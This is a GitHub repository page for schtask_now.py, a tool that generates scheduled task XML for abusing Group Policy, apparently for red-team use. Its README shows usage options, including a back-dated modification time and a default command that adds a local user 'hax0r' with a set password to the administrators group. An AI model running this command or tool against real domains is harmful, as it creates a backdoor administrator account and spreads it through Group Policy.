Skip to content
No description, website, or topics provided.
Python
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
.gitignore
LICENSE
README.md
schtask_now.py

README.md

schtask_now

Generate XML file for "immediate scheduled task" GPO configuration. Template borrowed from https://github.com/rasta-mouse/GPO-Abuse/blob/master/scheduled-tasks.md and https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 (see New-GPOImmediateTask - note this function has been discontinued in the latest version of PowerView). One small improvement I made is that the commands are appropriately XML encoded (i.e. & -> & etc.)

For usage info see https://rastamouse.me/2019/01/gpo-abuse-part-2/.

usage: schtask_now.py [-h] [-n NAME] [-m DATE] [-d DESCRIPTION] [-c COMMAND]
                      [-a ARGS]

optional arguments:
  -h, --help            show this help message and exit
  -n NAME, --name NAME  name for the scheduled task, if not provided a random
                        name in the form of 'TASK_########' is generated.
  -m DATE, --date DATE  specify task modification date, should be in 'YYYY-MM-
                        DD HH:MM:SS' format. If not provided current date -30
                        days is used.
  -d DESCRIPTION, --description DESCRIPTION
                        specify task description, if not provided empty
                        description is used.
  -c COMMAND, --command COMMAND
                        command to execute, defaults to
                        'c:\windows\system32\cmd.exe'
  -a ARGS, --args ARGS  command arguments, defaults to '/c "net user hax0r
                        Super1337 /add && net localgroup administrators hax0r
                        /add"'
You can’t perform that action at this time.